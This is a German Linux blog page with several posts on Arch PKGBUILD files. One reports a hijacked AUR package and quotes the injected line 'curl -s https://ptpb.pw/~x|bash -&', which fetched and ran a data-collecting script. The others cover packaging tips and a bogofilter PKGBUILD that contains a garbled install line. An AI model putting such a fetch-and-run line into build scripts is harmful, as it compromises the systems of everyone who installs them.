Fryboyter

Darum sollte man PKGBUILD-Dateien im AUR immer prüfen

Als Nutzer von Arch und insbesondere von AUR bekommt es öfters zu hören, dass man die PKGBUILD-Dateien vor dem Installieren prüfen soll. Gestern Abend hat sich gezeigt wie wichtig dies ist.

So ist im AUR beispielsweise acroread vorhanden. Das Paket war verwaist und wurde gestern von einem Nutzer Namens xeactor übernommen. Soweit kein Problem. Allerdings hat er in die PKGBUILD-Datei curl -s https://ptpb.pw/~x|bash -& eingetragen. Mit den Script wird ein systemd-Dienst angelegt über den Daten des kompromittierten Systems gesammelt und und Pastebin gesendet werden. Der Nutzer hat aber glücklicherweise Fehler beim erstellen des Scripts gemacht. So ist $uploader nicht vorhanden, so dass das Hochladen fehlschlägt. Zudem hat xeactor seinen Pastebin-API-Key im Klartext eingetragen.

Da die gesammelten Daten alle relativ unkritisch sind ist es allerdings fraglich was xeactor hiermit erreichen wollte. Eventuell wollte er “nur” demonstrieren wie wichtig es ist, PKBUILD-Dateien im AUR immer zu prüfen. Denn prinzipiell hätte er deutlich mehr Schaden anrichten können.

Neben acroread waren auch noch ein paar andere verwaiste Pakete betroffen. Die Änderungen wurden inzwischen wieder rückgängig gemacht und der Nutzer gesperrt. Aufgrund solcher Vorkommnisse sollte man die Mailing-List aur-general abonieren.

Linux | OSBN

Git-Version für PGKBUILD herausfinden

Im Arch User Repository, kurz AUR, gibt es einige Paket mit dem Zusatz -git im Namen. Hiermit werden nicht die stabilen Versionen sondern Entwicklerversionen installiert.

Nehmen wir einmal die PKGBUILD-Datei von keepassxc-git als Beispiel. In dieser findet man die Zeile pkgver=2.2.4.r431.g46c58b32. Egal wie oft man nun KeepassXC über diese PKGBUILD-Datei installiert, landet man immer beim gleichen festgelegten Entwicklungsstand und nicht beim derzeit aktuellen. Was aber, wenn man sich genau diesen installieren will? Im Grunde genommen muss man die Zeile pkgver= einfach nur anpassen. Aber was muss man in solch einem Fall eintragen? Eine Lösung wäre folgendes Vorgehen:

  • Mittels “git clone https://github.com/keepassxreboot/keepassxc.git” den Sourcecode auf den eigenen Rechner kopieren. Den betreffenden Link findet man in dem man auf der jeweiligen Github-Seite auf “Clone or download” klickt.

  • Danach wechselt man in das erstellte Verzeichnis. In diesem Fall keepassxc und führt dort “git describe –long | sed ’s/([^-]*-g)/r\1/;s/-/./g’” aus. Hier wird dann aktuell “2.3.0.r10.g3c274135” ausgegeben, da die Veröffentlichung von Version 2.3.0 ansteht.

  • Abschließend ändert man nun in der PKGBUILD-Datei die Zeile pkgver= entsprechend ab und kann sich so die aktuelle Entwicklerversion installieren.

  • Um die Version in der PKGBUILD-Datei erneut zu aktualisieren, reicht es in das Verzeichnis keepassxc zu wechseln und dort “git pull” und danach “git describe –long | sed ’s/([^-]*-g)/r\1/;s/-/./g” auszuführen. Git clone ist hier nicht nötig.

Da Git-Versionen aber nicht unbedingt stabil sind, sollte man aber abwägen ob man sich solch eine Version installiert oder nicht.

Linux | OSBN

Prüfsummen in einer PKGBUILD-Datei ändern

Ab und zu kommt es vor, dass im AUR die PKGBUILD-Datei eines Pakets nicht aktualisiert wird. Das ist derzeit beim Editor micro der Fall, da es einen unschönen Bugmit der Mausunterstützung gibt und der Paketbetreuer erst mal abwarten will. Ich will aber nicht.

Bisher bin ich in solchen Fällen immer so vorgegangen, dass ich mir erst einmal die Prüfsumme des neuen Archivs besorgt habe. Bei einigen Programmen sind die aber entweder sehr gut versteckt oder werden gar nicht erst angeboten. Bei letzterem lade ich das neue Archiv ein- oder zweimal herunter und erstelle manuell die Prüfsumme. Dann lade ich mir mit curl die PKGBUILD-Datei herunter und editiere die Zeile pkgver= und dann noch die Zeile(n) für die Prüfsumme(n). Aber das nervt. Vor allem wenn man die Prüfsummen gar nicht oder nur schwer findet.

Aber wie soll es anders sein? Hätte ich mal in das Wiki von Arch Linux geschaut… Genau für diese Änderung gibt es das Tool updpkgsums, welches bei pacman direkt mit dabei ist. Hat man die PKGBUILD-Datei heruntergeladen und die Zeile pkgver= angepasst, muss man nur noch “updatepkgsums PKGBUILD” aufrufen. Das Tool ersetzt dann automatisch die alte gegen die neue Prüfsumme. Diese sollte man aber trotzden möglichst überprüfen. Wobei das in einigen Fällen eben nicht ganz leicht ist. Jetzt sollte man beispielsweise mittels “makepkg -i PKBUILD –noconfirm” die aktuelle Version des Programms installieren können.

Linux | OSBN

Workshop zum Erstellen von PKGBUILD-Dateien unter Arch

Am Sonntag 04.06.17 findet ab 19 Uhr ein Workshop zum Thema PKGBUILD-Dateien unter Arch Linux statt. Dieser soll ungefähr zwei Stundne dauern und wird von Eli Schwartz, einem aktiven Mitglied der Arch-Gemeinschaft, geleitet.

Thema des Workshops wird der grundlegende Aufbau von PKGBUILD-Dateien sein. Also wie man eine solche Datei “liest”, wie man sie anpasst, usw. Auf dem Plan stehen aber auch noch andere Themen wie die häufigsten Fehler die man beim Erstellen machen kann und wie man diese vermeidet. Oder wie man selbst gemachte PKGBUILD-Dateien in AUR Dritten zur Verfügung stellt.

Die Veranstaltung findet im IRC-Kanal #archlinux-classroom (irc.freenode.net) statt. Teilnehmen kann jeder, der sich an den Code of conducthält.

Linux | OSBN

PKGBUILD für Bogofilter 1.2.3

Ich habe mir mal wieder eine PKGBUILD-Datei für Arch zusammengebaut. Dieses mal musste Bogofilter (ein E-Mail-Spamfilter den ich nutze) herhalten. Das Paket wurde vor einigen Tagen als veraltet markiert, die derzeit aktuelle Version, die ein Sicherheitsproblem behebt, gibt es allerdings (leider) schon wesentlich länger. Da ich nicht warten will, bis der Betreuer des Paketes in die Gänge kommt, hier mal die Datei. Eventuell kann es ja jemand gebrauchen.

# $Id$
# Maintainer: tobias
# Contributor: Low Kian Seong
pkgname=bogofilter
pkgver=1.2.3
pkgrel=1
pkgdesc="A fast Bayesian spam filtering tool"
arch=('i686' 'x86_64')
license=('GPL3')
url="http://bogofilter.sourceforge.net"
depends=('db' 'perl' 'gsl')
backup=('etc/bogofilter/bogofilter.cf')
source=(http://sourceforge.net/projects/${pkgname}/files/${pkgname}-current/${pkgname}-${pkgver}/${pkgname}-${pkgver}.tar.bz2)
md5sums=('c3ed7f483b83abcbf6d8c797084bd06e')
build() {
cd "${srcdir}/${pkgname}-${pkgver}"
./configure --prefix=/usr \
                  --sysconfdir=/etc/bogofilter \
                  --localstatedir=/var \
                  --enable-transactions
make
}

package() {
cd "${srcdir}/${pkgname}-${pkgver}"
make DESTDIR="${pkgdir}" install@speedymail.org>@archlinux.org>

mv "${pkgdir}/etc/bogofilter/bogofilter.cf.example" "${pkgdir}/etc/bogofilter/bogofilter.cf"

install -dm755 "${pkgdir}/usr/share/${pkgname}/contrib"
install -m644 contrib/* "${pkgdir}/usr/share/${pkgname}/contrib/"
}

Geändert wurde auch hier nur die Zeilen pkgver und md5sums. Das ganze gibt es natürlich auch wieder unter https://spideroak.com/browse/share/datengrab/FryBoyter. Benutzung wie immer ohne Gewähr.

Linux | OSBN